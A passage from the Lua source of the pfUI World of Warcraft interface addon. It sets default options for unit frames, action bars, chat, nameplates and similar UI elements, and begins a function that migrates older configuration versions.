pfUI:UpdateConfig("unitframes", "group", "debuffs", "BOTTOMLEFT")
pfUI:UpdateConfig("unitframes", "group", "debuffsize", "8")
pfUI:UpdateConfig("unitframes", "group", "debufflimit", "8")
pfUI:UpdateConfig("unitframes", "group", "buff_indicator", "1")
pfUI:UpdateConfig("unitframes", "group", "debuff_indicator", "2")
pfUI:UpdateConfig("unitframes", "group", "faderange", "1")
pfUI:UpdateConfig("unitframes", "group", "glowcombat", "0")
pfUI:UpdateConfig("unitframes", "group", "hide_in_raid", "0")
pfUI:UpdateConfig("unitframes", "group", "txthpright", "healthmiss")
pfUI:UpdateConfig("unitframes", "grouptarget", "portrait", "off")
pfUI:UpdateConfig("unitframes", "grouptarget", "width", "120")
pfUI:UpdateConfig("unitframes", "grouptarget", "height", "16")
pfUI:UpdateConfig("unitframes", "grouptarget", "pheight", "0")
pfUI:UpdateConfig("unitframes", "grouptarget", "buffs", "off")
pfUI:UpdateConfig("unitframes", "grouptarget", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "grouptarget", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "grouptarget", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "grouptarget", "faderange", "1")
pfUI:UpdateConfig("unitframes", "grouptarget", "glowcombat", "0")
pfUI:UpdateConfig("unitframes", "grouptarget", "txthpright", "healthperc")
pfUI:UpdateConfig("unitframes", "grouppet", "portrait", "off")
pfUI:UpdateConfig("unitframes", "grouppet", "width", "100")
pfUI:UpdateConfig("unitframes", "grouppet", "height", "14")
pfUI:UpdateConfig("unitframes", "grouppet", "pheight", "0")
pfUI:UpdateConfig("unitframes", "grouppet", "buffs", "off")
pfUI:UpdateConfig("unitframes", "grouppet", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "grouppet", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "grouppet", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "grouppet", "faderange", "1")
pfUI:UpdateConfig("unitframes", "grouppet", "glowcombat", "0")
pfUI:UpdateConfig("unitframes", "grouppet", "txthpright", "healthperc")
pfUI:UpdateConfig("unitframes", "raid", "portrait", "off")
pfUI:UpdateConfig("unitframes", "raid", "width", "50")
pfUI:UpdateConfig("unitframes", "raid", "height", "26")
pfUI:UpdateConfig("unitframes", "raid", "pheight", "4")
pfUI:UpdateConfig("unitframes", "raid", "buffs", "off")
pfUI:UpdateConfig("unitframes", "raid", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "raid", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "raid", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "raid", "buff_indicator", "1")
pfUI:UpdateConfig("unitframes", "raid", "debuff_indicator", "2")
pfUI:UpdateConfig("unitframes", "raid", "faderange", "1")
pfUI:UpdateConfig("unitframes", "raid", "glowcombat", "0")
pfUI:UpdateConfig("unitframes", "raid", "txthpleft", "name")
pfUI:UpdateConfig("unitframes", "raid", "txthpright", "healthmiss")
pfUI:UpdateConfig("unitframes", "raid", "overhealperc", "10")
pfUI:UpdateConfig("unitframes", "raid", "raidlayout", "8x5")
pfUI:UpdateConfig("unitframes", "raid", "raidpadding", "3")
pfUI:UpdateConfig("unitframes", "raid", "raidfill", "VERTICAL")
pfUI:UpdateConfig("unitframes", "ttarget", "width", "100")
pfUI:UpdateConfig("unitframes", "ttarget", "height", "17")
pfUI:UpdateConfig("unitframes", "ttarget", "pheight", "3")
pfUI:UpdateConfig("unitframes", "ttarget", "buffs", "off")
pfUI:UpdateConfig("unitframes", "ttarget", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "ttarget", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "ttarget", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "ttarget", "txthpleft", "none")
pfUI:UpdateConfig("unitframes", "ttarget", "txthpcenter", "name")
pfUI:UpdateConfig("unitframes", "ttarget", "txthpright", "none")
pfUI:UpdateConfig("unitframes", "ttarget", "overhealperc", "10")
pfUI:UpdateConfig("unitframes", "tttarget", "visible", "0")
pfUI:UpdateConfig("unitframes", "tttarget", "width", "100")
pfUI:UpdateConfig("unitframes", "tttarget", "height", "17")
pfUI:UpdateConfig("unitframes", "tttarget", "pheight", "3")
pfUI:UpdateConfig("unitframes", "tttarget", "buffs", "off")
pfUI:UpdateConfig("unitframes", "tttarget", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "tttarget", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "tttarget", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "tttarget", "txthpleft", "none")
pfUI:UpdateConfig("unitframes", "tttarget", "txthpcenter", "name")
pfUI:UpdateConfig("unitframes", "tttarget", "txthpright", "none")
pfUI:UpdateConfig("unitframes", "tttarget", "overhealperc", "10")
pfUI:UpdateConfig("unitframes", "pet", "happinessicon", "0")
pfUI:UpdateConfig("unitframes", "pet", "width", "100")
pfUI:UpdateConfig("unitframes", "pet", "height", "14")
pfUI:UpdateConfig("unitframes", "pet", "pheight", "4")
pfUI:UpdateConfig("unitframes", "pet", "buffsize", "12")
pfUI:UpdateConfig("unitframes", "pet", "debuffsize", "12")
pfUI:UpdateConfig("unitframes", "pet", "txthpleft", "none")
pfUI:UpdateConfig("unitframes", "pet", "txthpcenter", "name")
pfUI:UpdateConfig("unitframes", "pet", "txthpright", "none")
pfUI:UpdateConfig("unitframes", "ptarget", "visible", "0")
pfUI:UpdateConfig("unitframes", "ptarget", "width", "100")
pfUI:UpdateConfig("unitframes", "ptarget", "height", "4")
pfUI:UpdateConfig("unitframes", "ptarget", "pheight", "-1")
pfUI:UpdateConfig("unitframes", "ptarget", "buffs", "off")
pfUI:UpdateConfig("unitframes", "ptarget", "buffsize", "16")
pfUI:UpdateConfig("unitframes", "ptarget", "debuffs", "off")
pfUI:UpdateConfig("unitframes", "ptarget", "debuffsize", "16")
pfUI:UpdateConfig("unitframes", "ptarget", "txthpleft", "none")
pfUI:UpdateConfig("unitframes", "ptarget", "txthpcenter", "name")
pfUI:UpdateConfig("unitframes", "ptarget", "txthpright", "none")
pfUI:UpdateConfig("unitframes", "ptarget", "overhealperc", "10")
local ufs = { "player", "target", "focus", "group", "grouptarget", "grouppet", "raid", "ttarget", "pet", "ptarget", "fallback", "tttarget" }
for _, unit in pairs(ufs) do
pfUI:UpdateConfig("unitframes", unit, "visible", "1")
pfUI:UpdateConfig("unitframes", unit, "showPVP", "0")
pfUI:UpdateConfig("unitframes", unit, "raidicon", "1")
pfUI:UpdateConfig("unitframes", unit, "leadericon", "1")
pfUI:UpdateConfig("unitframes", unit, "looticon", "1")
pfUI:UpdateConfig("unitframes", unit, "raidiconsize", "24")
pfUI:UpdateConfig("unitframes", unit, "portrait", "bar")
pfUI:UpdateConfig("unitframes", unit, "bartexture", "Interface\\AddOns\\pfUI\\img\\bar")
pfUI:UpdateConfig("unitframes", unit, "width", "200")
pfUI:UpdateConfig("unitframes", unit, "height", "46")
pfUI:UpdateConfig("unitframes", unit, "pheight", "10")
pfUI:UpdateConfig("unitframes", unit, "pwidth", "-1")
pfUI:UpdateConfig("unitframes", unit, "panchor", "TOP")
pfUI:UpdateConfig("unitframes", unit, "pspace", "-3")
pfUI:UpdateConfig("unitframes", unit, "buffs", "TOPLEFT")
pfUI:UpdateConfig("unitframes", unit, "buffsize", "20")
pfUI:UpdateConfig("unitframes", unit, "bufflimit", "32")
pfUI:UpdateConfig("unitframes", unit, "buffperrow", "8")
pfUI:UpdateConfig("unitframes", unit, "debuffs", "TOPLEFT")
pfUI:UpdateConfig("unitframes", unit, "debuffsize", "20")
pfUI:UpdateConfig("unitframes", unit, "debufflimit", "32")
pfUI:UpdateConfig("unitframes", unit, "debuffperrow", "8")
pfUI:UpdateConfig("unitframes", unit, "invert_healthbar", "0")
pfUI:UpdateConfig("unitframes", unit, "verticalbar", "0")
pfUI:UpdateConfig("unitframes", unit, "buff_indicator", "0")
pfUI:UpdateConfig("unitframes", unit, "debuff_indicator", "0")
pfUI:UpdateConfig("unitframes", unit, "debuff_ind_pos", "CENTER")
pfUI:UpdateConfig("unitframes", unit, "debuff_ind_size", ".65")
pfUI:UpdateConfig("unitframes", unit, "debuff_ind_class", "1")
pfUI:UpdateConfig("unitframes", unit, "show_buffs", "1")
pfUI:UpdateConfig("unitframes", unit, "show_hots", "0")
pfUI:UpdateConfig("unitframes", unit, "all_hots", "0")
pfUI:UpdateConfig("unitframes", unit, "show_procs", "0")
pfUI:UpdateConfig("unitframes", unit, "show_totems", "0")
pfUI:UpdateConfig("unitframes", unit, "all_procs", "0")
pfUI:UpdateConfig("unitframes", unit, "indicator_time", "1")
pfUI:UpdateConfig("unitframes", unit, "indicator_stacks", "1")
pfUI:UpdateConfig("unitframes", unit, "indicator_size", "10")
pfUI:UpdateConfig("unitframes", unit, "clickcast", "0")
pfUI:UpdateConfig("unitframes", unit, "faderange", "0")
pfUI:UpdateConfig("unitframes", unit, "alpha_visible", "1")
pfUI:UpdateConfig("unitframes", unit, "alpha_outrange", ".50")
pfUI:UpdateConfig("unitframes", unit, "alpha_offline", ".25")
pfUI:UpdateConfig("unitframes", unit, "glowaggro", "1")
pfUI:UpdateConfig("unitframes", unit, "glowcombat", "1")
pfUI:UpdateConfig("unitframes", unit, "showtooltip", "1")
pfUI:UpdateConfig("unitframes", unit, "healthcolor", "1")
pfUI:UpdateConfig("unitframes", unit, "powercolor", "1")
pfUI:UpdateConfig("unitframes", unit, "levelcolor", "1")
pfUI:UpdateConfig("unitframes", unit, "classcolor", "1")
pfUI:UpdateConfig("unitframes", unit, "txthpleft", "unit")
pfUI:UpdateConfig("unitframes", unit, "txthpcenter", "none")
pfUI:UpdateConfig("unitframes", unit, "txthpright", "healthdyn")
pfUI:UpdateConfig("unitframes", unit, "txtpowerleft", "none")
pfUI:UpdateConfig("unitframes", unit, "txtpowercenter", "none")
pfUI:UpdateConfig("unitframes", unit, "txtpowerright", "none")
pfUI:UpdateConfig("unitframes", unit, "hitindicator", "0")
pfUI:UpdateConfig("unitframes", unit, "hitindicatorsize", "15")
pfUI:UpdateConfig("unitframes", unit, "hitindicatorfont", "Interface\\AddOns\\pfUI\\fonts\\Continuum.ttf")
pfUI:UpdateConfig("unitframes", unit, "defcolor", "1")
pfUI:UpdateConfig("unitframes", unit, "custom", "0")
pfUI:UpdateConfig("unitframes", unit, "customfullhp", "0")
pfUI:UpdateConfig("unitframes", unit, "customcolor", ".2,.2,.2,1")
pfUI:UpdateConfig("unitframes", unit, "custombg", "0")
pfUI:UpdateConfig("unitframes", unit, "custombgcolor", ".5,.2,.2,1")
pfUI:UpdateConfig("unitframes", unit, "custompbg", "0")
pfUI:UpdateConfig("unitframes", unit, "custompbgcolor", ".5,.2,.2,1")
pfUI:UpdateConfig("unitframes", unit, "manacolor", ".5,.5,1,1")
pfUI:UpdateConfig("unitframes", unit, "energycolor", "1,1,.5,1")
pfUI:UpdateConfig("unitframes", unit, "ragecolor", "1,.5,.5,1")
pfUI:UpdateConfig("unitframes", unit, "focuscolor", "1,1,.75,1")
pfUI:UpdateConfig("unitframes", unit, "overhealperc", "20")
end
pfUI:UpdateConfig("bars", "bar1", "pageable", "1")
pfUI:UpdateConfig("bars", "bar2", "pageable", "1")
pfUI:UpdateConfig("bars", "bar1", "enable", "1")
pfUI:UpdateConfig("bars", "bar3", "enable", "1")
pfUI:UpdateConfig("bars", "bar4", "enable", "1")
pfUI:UpdateConfig("bars", "bar5", "enable", "1")
pfUI:UpdateConfig("bars", "bar6", "enable", "1")
pfUI:UpdateConfig("bars", "bar11", "enable", "1")
pfUI:UpdateConfig("bars", "bar12", "enable", "1")
pfUI:UpdateConfig("bars", "bar3", "formfactor", "6 x 2")
pfUI:UpdateConfig("bars", "bar5", "formfactor", "6 x 2")
pfUI:UpdateConfig("bars", "bar4", "formfactor", "1 x 12")
pfUI:UpdateConfig("bars", "bar11", "formfactor", "10 x 1")
pfUI:UpdateConfig("bars", "bar12", "formfactor", "10 x 1")
pfUI:UpdateConfig("bars", "bar11", "icon_size", "18")
pfUI:UpdateConfig("bars", "bar12", "icon_size", "18")
for i=1,12 do
pfUI:UpdateConfig("bars", "bar"..i, "enable", "0")
pfUI:UpdateConfig("bars", "bar"..i, "pageable", "0")
pfUI:UpdateConfig("bars", "bar"..i, "icon_size", "20")
pfUI:UpdateConfig("bars", "bar"..i, "spacing", "1")
pfUI:UpdateConfig("bars", "bar"..i, "formfactor", "12 x 1")
pfUI:UpdateConfig("bars", "bar"..i, "background", "1")
pfUI:UpdateConfig("bars", "bar"..i, "showempty", "1")
pfUI:UpdateConfig("bars", "bar"..i, "showmacro", "1")
pfUI:UpdateConfig("bars", "bar"..i, "showkeybind", "1")
pfUI:UpdateConfig("bars", "bar"..i, "showcount", "1")
pfUI:UpdateConfig("bars", "bar"..i, "autohide", "0")
pfUI:UpdateConfig("bars", "bar"..i, "hide_time", "3")
if i ~= 11 and i ~= 12 then
pfUI:UpdateConfig("bars", "bar"..i, "buttons", "12")
end
end
pfUI:UpdateConfig("bars", nil, "keydown", "0")
pfUI:UpdateConfig("bars", nil, "altself", "0")
pfUI:UpdateConfig("bars", nil, "rightself", "0")
pfUI:UpdateConfig("bars", nil, "animation", "zoomfade")
pfUI:UpdateConfig("bars", nil, "animmode", "keypress")
pfUI:UpdateConfig("bars", nil, "animalways", "0")
pfUI:UpdateConfig("bars", nil, "reagents", "1")
pfUI:UpdateConfig("bars", nil, "hunterbar", "0")
pfUI:UpdateConfig("bars", nil, "pagemaster", "0")
pfUI:UpdateConfig("bars", nil, "druidstealth", "0")
pfUI:UpdateConfig("bars", nil, "showcastable", "1")
pfUI:UpdateConfig("bars", nil, "glowrange", "1")
pfUI:UpdateConfig("bars", nil, "rangecolor", "1,0.1,0.1,1")
pfUI:UpdateConfig("bars", nil, "showoom", "1")
pfUI:UpdateConfig("bars", nil, "oomcolor", ".2,.2,1,1")
pfUI:UpdateConfig("bars", nil, "showna", "1")
pfUI:UpdateConfig("bars", nil, "nacolor", ".3,.3,.3,1")
pfUI:UpdateConfig("bars", nil, "showequipped", "1")
pfUI:UpdateConfig("bars", nil, "eqcolor", ".2,.8,.2,.2")
pfUI:UpdateConfig("bars", nil, "shiftdrag", "1")
pfUI:UpdateConfig("bars", nil, "font", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf")
pfUI:UpdateConfig("bars", nil, "font_offset", "0")
pfUI:UpdateConfig("bars", nil, "macro_size", "9")
pfUI:UpdateConfig("bars", nil, "macro_color", "1,1,1,1")
pfUI:UpdateConfig("bars", nil, "count_size", "11")
pfUI:UpdateConfig("bars", nil, "count_color", ".2,1,.8,1")
pfUI:UpdateConfig("bars", nil, "bind_size", "8")
pfUI:UpdateConfig("bars", nil, "bind_color", "1,1,0,1")
pfUI:UpdateConfig("totems", nil, "direction", "HORIZONTAL")
pfUI:UpdateConfig("totems", nil, "iconsize", "26")
pfUI:UpdateConfig("totems", nil, "spacing", "3")
pfUI:UpdateConfig("totems", nil, "showbg", "0")
pfUI:UpdateConfig("panel", nil, "use_unitfonts", "0")
pfUI:UpdateConfig("panel", nil, "hide_leftchat", "0")
pfUI:UpdateConfig("panel", nil, "hide_rightchat", "0")
pfUI:UpdateConfig("panel", nil, "hide_minimap", "0")
pfUI:UpdateConfig("panel", nil, "hide_microbar", "0")
pfUI:UpdateConfig("panel", "left", "left", "guild")
pfUI:UpdateConfig("panel", "left", "center", "durability")
pfUI:UpdateConfig("panel", "left", "right", "friends")
pfUI:UpdateConfig("panel", "right", "left", "fps")
pfUI:UpdateConfig("panel", "right", "center", "time")
pfUI:UpdateConfig("panel", "right", "right", "gold")
pfUI:UpdateConfig("panel", "other", "minimap", "zone")
pfUI:UpdateConfig("panel", "micro", "enable", "0")
pfUI:UpdateConfig("panel", "bag", "ignorespecial", "1")
pfUI:UpdateConfig("panel", "xp", "xp_always", "0")
pfUI:UpdateConfig("panel", "xp", "xp_timeout", "5")
pfUI:UpdateConfig("panel", "xp", "xp_width", "5")
pfUI:UpdateConfig("panel", "xp", "xp_height", "5")
pfUI:UpdateConfig("panel", "xp", "xp_mode", "VERTICAL")
pfUI:UpdateConfig("panel", "xp", "xp_anchor", "pfChatLeft")
pfUI:UpdateConfig("panel", "xp", "xp_position", "RIGHT")
pfUI:UpdateConfig("panel", "xp", "xp_color", ".25,.25,1,1")
pfUI:UpdateConfig("panel", "xp", "rest_color", "1,.25,1,.5")
pfUI:UpdateConfig("panel", "xp", "rep_always", "0")
pfUI:UpdateConfig("panel", "xp", "rep_timeout", "5")
pfUI:UpdateConfig("panel", "xp", "rep_width", "5")
pfUI:UpdateConfig("panel", "xp", "rep_height", "5")
pfUI:UpdateConfig("panel", "xp", "rep_mode", "VERTICAL")
pfUI:UpdateConfig("panel", "xp", "rep_anchor", "pfChatRight")
pfUI:UpdateConfig("panel", "xp", "rep_position", "LEFT")
pfUI:UpdateConfig("castbar", "player", "hide_blizz", "1")
pfUI:UpdateConfig("castbar", "player", "hide_pfui", "0")
pfUI:UpdateConfig("castbar", "player", "width", "-1")
pfUI:UpdateConfig("castbar", "player", "height", "-1")
pfUI:UpdateConfig("castbar", "player", "showicon", "0")
pfUI:UpdateConfig("castbar", "player", "showlag", "0")
pfUI:UpdateConfig("castbar", "player", "showrank", "0")
pfUI:UpdateConfig("castbar", "target", "hide_pfui", "0")
pfUI:UpdateConfig("castbar", "target", "width", "-1")
pfUI:UpdateConfig("castbar", "target", "height", "-1")
pfUI:UpdateConfig("castbar", "target", "showicon", "0")
pfUI:UpdateConfig("castbar", "target", "showlag", "0")
pfUI:UpdateConfig("castbar", "target", "showrank", "0")
pfUI:UpdateConfig("castbar", "focus", "hide_pfui", "0")
pfUI:UpdateConfig("castbar", "focus", "width", "-1")
pfUI:UpdateConfig("castbar", "focus", "height", "-1")
pfUI:UpdateConfig("castbar", "focus", "showicon", "0")
pfUI:UpdateConfig("castbar", "focus", "showlag", "0")
pfUI:UpdateConfig("castbar", "focus", "showrank", "0")
pfUI:UpdateConfig("castbar", nil, "use_unitfonts", "0")
pfUI:UpdateConfig("tooltip", nil, "position", "chat")
pfUI:UpdateConfig("tooltip", nil, "cursoralign", "native")
pfUI:UpdateConfig("tooltip", nil, "cursoroffset", "20")
pfUI:UpdateConfig("tooltip", nil, "extguild", "1")
pfUI:UpdateConfig("tooltip", nil, "itemid", "0")
pfUI:UpdateConfig("tooltip", nil, "alpha", "0.8")
pfUI:UpdateConfig("tooltip", nil, "alwaysperc", "0")
pfUI:UpdateConfig("tooltip", "compare", "basestats", "1")
pfUI:UpdateConfig("tooltip", "compare", "showalways", "0")
pfUI:UpdateConfig("tooltip", "vendor", "showalways", "0")
pfUI:UpdateConfig("tooltip", "statusbar", "texture", "Interface\\AddOns\\pfUI\\img\\bar")
pfUI:UpdateConfig("chat", "text", "input_width", "0")
pfUI:UpdateConfig("chat", "text", "input_height", "0")
pfUI:UpdateConfig("chat", "text", "outline", "1")
pfUI:UpdateConfig("chat", "text", "mouseover", "0")
pfUI:UpdateConfig("chat", "text", "bracket", "[]")
pfUI:UpdateConfig("chat", "text", "time", "0")
pfUI:UpdateConfig("chat", "text", "timeformat", "%H:%M:%S")
pfUI:UpdateConfig("chat", "text", "timebracket", "[]")
pfUI:UpdateConfig("chat", "text", "timecolor", ".8,.8,.8,1")
pfUI:UpdateConfig("chat", "text", "tintunknown", "1")
pfUI:UpdateConfig("chat", "text", "unknowncolor", ".7,.7,.7,1")
pfUI:UpdateConfig("chat", "text", "channelnumonly", "1")
pfUI:UpdateConfig("chat", "text", "playerlinks", "1")
pfUI:UpdateConfig("chat", "text", "detecturl", "1")
pfUI:UpdateConfig("chat", "text", "classcolor", "1")
pfUI:UpdateConfig("chat", "left", "width", "380")
pfUI:UpdateConfig("chat", "left", "height", "180")
pfUI:UpdateConfig("chat", "right", "enable", "0")
pfUI:UpdateConfig("chat", "right", "alwaysshow", "0")
pfUI:UpdateConfig("chat", "right", "width", "380")
pfUI:UpdateConfig("chat", "right", "height", "180")
pfUI:UpdateConfig("chat", "global", "hidecombat", "0")
pfUI:UpdateConfig("chat", "global", "tabdock", "0")
pfUI:UpdateConfig("chat", "global", "tabmouse", "0")
pfUI:UpdateConfig("chat", "global", "chatflash", "1")
pfUI:UpdateConfig("chat", "global", "frameshadow", "1")
pfUI:UpdateConfig("chat", "global", "custombg", "0")
pfUI:UpdateConfig("chat", "global", "background", ".2,.2,.2,.5")
pfUI:UpdateConfig("chat", "global", "border", ".4,.4,.4,.5")
pfUI:UpdateConfig("chat", "global", "whispermod", "1")
pfUI:UpdateConfig("chat", "global", "whisper", "1,.7,1,1")
pfUI:UpdateConfig("chat", "global", "sticky", "1")
pfUI:UpdateConfig("chat", "global", "fadeout", "0")
pfUI:UpdateConfig("chat", "global", "fadetime", "300")
pfUI:UpdateConfig("chat", "global", "scrollspeed", "1")
pfUI:UpdateConfig("chat", "bubbles", "alpha", ".75")
pfUI:UpdateConfig("nameplates", nil, "showhostile", "1")
pfUI:UpdateConfig("nameplates", nil, "showfriendly", "0")
pfUI:UpdateConfig("nameplates", nil, "use_unitfonts", "0")
pfUI:UpdateConfig("nameplates", nil, "legacy", "0")
pfUI:UpdateConfig("nameplates", nil, "overlap", "0")
pfUI:UpdateConfig("nameplates", nil, "showcastbar", "1")
pfUI:UpdateConfig("nameplates", nil, "spellname", "0")
pfUI:UpdateConfig("nameplates", nil, "showdebuffs", "1")
pfUI:UpdateConfig("nameplates", nil, "guessdebuffs", "1")
pfUI:UpdateConfig("nameplates", nil, "clickthrough", "0")
pfUI:UpdateConfig("nameplates", nil, "rightclick", "1")
pfUI:UpdateConfig("nameplates", nil, "clickthreshold", "0.5")
pfUI:UpdateConfig("nameplates", nil, "enemyclassc", "1")
pfUI:UpdateConfig("nameplates", nil, "friendclassc", "1")
pfUI:UpdateConfig("nameplates", nil, "raidiconsize", "16")
pfUI:UpdateConfig("nameplates", nil, "fullhealth", "1")
pfUI:UpdateConfig("nameplates", nil, "target", "1")
pfUI:UpdateConfig("nameplates", nil, "enemynpc", "0")
pfUI:UpdateConfig("nameplates", nil, "enemyplayer", "0")
pfUI:UpdateConfig("nameplates", nil, "neutralnpc", "0")
pfUI:UpdateConfig("nameplates", nil, "friendlynpc", "0")
pfUI:UpdateConfig("nameplates", nil, "friendlyplayer", "0")
pfUI:UpdateConfig("nameplates", nil, "critters", "1")
pfUI:UpdateConfig("nameplates", nil, "totems", "1")
pfUI:UpdateConfig("nameplates", nil, "showhp", "0")
pfUI:UpdateConfig("nameplates", nil, "alwaysperc", "0")
pfUI:UpdateConfig("nameplates", nil, "vpos", "-10")
pfUI:UpdateConfig("nameplates", nil, "width", "120")
pfUI:UpdateConfig("nameplates", nil, "debuffsize", "14")
pfUI:UpdateConfig("nameplates", nil, "heighthealth", "8")
pfUI:UpdateConfig("nameplates", nil, "heightcast", "8")
pfUI:UpdateConfig("nameplates", nil, "cpdisplay", "0")
pfUI:UpdateConfig("nameplates", nil, "targethighlight", "0")
pfUI:UpdateConfig("nameplates", nil, "targetglow", "1")
pfUI:UpdateConfig("nameplates", nil, "glowcolor", "1,1,1,1")
pfUI:UpdateConfig("nameplates", nil, "targetzoom", "0")
pfUI:UpdateConfig("nameplates", nil, "notargalpha", ".75")
pfUI:UpdateConfig("nameplates", nil, "healthtexture", "Interface\\AddOns\\pfUI\\img\\bar")
pfUI:UpdateConfig("nameplates", "name", "fontstyle", "OUTLINE")
pfUI:UpdateConfig("nameplates", "health", "offset", "-3")
pfUI:UpdateConfig("nameplates", "debuffs", "filter", "none")
pfUI:UpdateConfig("nameplates", "debuffs", "whitelist", "")
pfUI:UpdateConfig("nameplates", "debuffs", "blacklist", "")
pfUI:UpdateConfig("abuttons", nil, "enable", "0")
pfUI:UpdateConfig("abuttons", nil, "position", "bottom")
pfUI:UpdateConfig("abuttons", nil, "showdefault", "0")
pfUI:UpdateConfig("abuttons", nil, "rowsize", "6")
pfUI:UpdateConfig("abuttons", nil, "spacing", "2")
pfUI:UpdateConfig("abuttons", nil, "hideincombat", "1")
pfUI:UpdateConfig("screenshot", nil, "interval", "0")
pfUI:UpdateConfig("screenshot", nil, "levelup", "1")
pfUI:UpdateConfig("screenshot", nil, "pvprank", "1")
pfUI:UpdateConfig("screenshot", nil, "faction", "1")
pfUI:UpdateConfig("screenshot", nil, "battleground", "0")
pfUI:UpdateConfig("screenshot", nil, "hk", "0")
pfUI:UpdateConfig("screenshot", nil, "loot", "0")
pfUI:UpdateConfig("screenshot", nil, "hideui", "0")
pfUI:UpdateConfig("screenshot", nil, "caption", "0")
pfUI:UpdateConfig("screenshot", nil, "caption_font", "Interface\\AddOns\\pfUI\\fonts\\BigNoodleTitling.ttf")
pfUI:UpdateConfig("screenshot", nil, "caption_size", "22")
pfUI:UpdateConfig("gm", nil, "disable", "1")
pfUI:UpdateConfig("gm", nil, "server", "elysium")
pfUI:UpdateConfig("questlog", nil, "showQuestLevels", "0")
pfUI:UpdateConfig("thirdparty", nil, "chatbg", "1")
pfUI:UpdateConfig("thirdparty", nil, "showmeter", "0")
pfUI:UpdateConfig("thirdparty", "dpsmate", "skin", "1")
pfUI:UpdateConfig("thirdparty", "dpsmate", "dock", "1")
pfUI:UpdateConfig("thirdparty", "swstats", "skin", "1")
pfUI:UpdateConfig("thirdparty", "swstats", "dock", "1")
pfUI:UpdateConfig("thirdparty", "ktm", "skin", "1")
pfUI:UpdateConfig("thirdparty", "ktm", "dock", "1")
pfUI:UpdateConfig("thirdparty", "wim", "enable", "1")
pfUI:UpdateConfig("thirdparty", "healcomm", "enable", "1")
pfUI:UpdateConfig("thirdparty", "sortbags", "enable", "1")
pfUI:UpdateConfig("thirdparty", "mrplow", "enable", "1")
pfUI:UpdateConfig("thirdparty", "flightmap", "enable", "1")
pfUI:UpdateConfig("thirdparty", "theorycraft", "enable", "1")
pfUI:UpdateConfig("thirdparty", "supermacro", "enable", "1")
pfUI:UpdateConfig("thirdparty", "atlasloot", "enable", "1")
pfUI:UpdateConfig("thirdparty", "myroleplay", "enable", "1")
pfUI:UpdateConfig("thirdparty", "druidmana", "enable", "1")
pfUI:UpdateConfig("thirdparty", "noteit", "enable", "1")
pfUI:UpdateConfig("thirdparty", "recount", "skin", "1")
pfUI:UpdateConfig("thirdparty", "recount", "dock", "1")
pfUI:UpdateConfig("thirdparty", "omen", "skin", "1")
pfUI:UpdateConfig("thirdparty", "omen", "dock", "1")
pfUI:UpdateConfig("position", nil, nil, nil)
pfUI:UpdateConfig("disabled", nil, nil, nil)
end
function pfUI:MigrateConfig()
-- migrating to new fonts (1.5 -> 1.6)
if checkversion(1, 6, 0) then
-- migrate font_default
if pfUI_config.global.font_default == "arial" then
pfUI_config.global.font_default = "Myriad-Pro"
elseif pfUI_config.global.font_default == "homespun" then
pfUI_config.global.font_default = "Homespun"
elseif pfUI_config.global.font_default == "diediedie" then
pfUI_config.global.font_default = "DieDieDie"
end
-- migrate font_square
if pfUI_config.global.font_square == "arial" then
pfUI_config.global.font_square = "Myriad-Pro"
elseif pfUI_config.global.font_square == "homespun" then
pfUI_config.global.font_square = "Homespun"
elseif pfUI_config.global.font_square == "diediedie" then
pfUI_config.global.font_square = "DieDieDie"
end
-- migrate font_combat
if pfUI_config.global.font_combat == "arial" then
pfUI_config.global.font_combat = "Myriad-Pro"
elseif pfUI_config.global.font_combat == "homespun" then
pfUI_config.global.font_combat = "Homespun"
elseif pfUI_config.global.font_combat == "diediedie" then
pfUI_config.global.font_combat = "DieDieDie"
end
end
-- migrating to new loot config section (> 2.0.5)
if checkversion(2, 0, 5) then
if pfUI_config.appearance.loot and pfUI_config.appearance.loot.autoresize then
pfUI_config.loot.autoresize = pfUI_config.appearance.loot.autoresize
pfUI_config.appearance.loot.autoresize = nil
pfUI_config.appearance.loot = nil
end
end
-- migrating to new unitframes (> 2.5)
if checkversion(2, 5, 0) then
-- migrate clickcast settings
if pfUI_config.unitframes.raid.clickcast_ctrl then
pfUI_config.unitframes.clickcast = pfUI_config.unitframes.raid.clickcast
pfUI_config.unitframes.clickcast_shift = pfUI_config.unitframes.raid.clickcast_shift
pfUI_config.unitframes.clickcast_alt = pfUI_config.unitframes.raid.clickcast_alt
pfUI_config.unitframes.clickcast_ctrl = pfUI_config.unitframes.raid.clickcast_ctrl
pfUI_config.unitframes.raid.clickcast = "0"
pfUI_config.unitframes.raid.clickcast_shift = nil
pfUI_config.unitframes.raid.clickcast_alt = nil
pfUI_config.unitframes.raid.clickcast_ctrl = nil
end
-- migrate buffsizes
if pfUI_config.unitframes.buff_size then
pfUI_config.unitframes.player.buffsize = pfUI_config.unitframes.buff_size
pfUI_config.unitframes.target.buffsize = pfUI_config.unitframes.buff_size
pfUI_config.unitframes.buff_size = nil
end
-- migrate debuffsizes
if pfUI_config.unitframes.debuff_size then
pfUI_config.unitframes.player.debuffsize = pfUI_config.unitframes.debuff_size
pfUI_config.unitframes.target.debuffsize = pfUI_config.unitframes.debuff_size
pfUI_config.unitframes.debuff_size = nil
end
end
-- migrating to new fontnames (> 2.6)
if checkversion(2, 6, 0) then
-- migrate font_combat
if pfUI_config.global.font_square then
pfUI_config.global.font_unit = pfUI_config.global.font_square
pfUI_config.global.font_square = nil
end
end
-- migrating old to new font layout (> 3.0.0)
if checkversion(3, 0, 0) then
-- migrate font_default
if not strfind(pfUI_config.global.font_default, "\\") then
pfUI_config.global.font_default = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_default .. ".ttf"
end
-- migrate font_unit
if not strfind(pfUI_config.global.font_unit, "\\") then
pfUI_config.global.font_unit = "Interface\\AddOns\\pfUI\\fonts\\" .. pfUI_config.global.font_unit .. ".ttf"
end
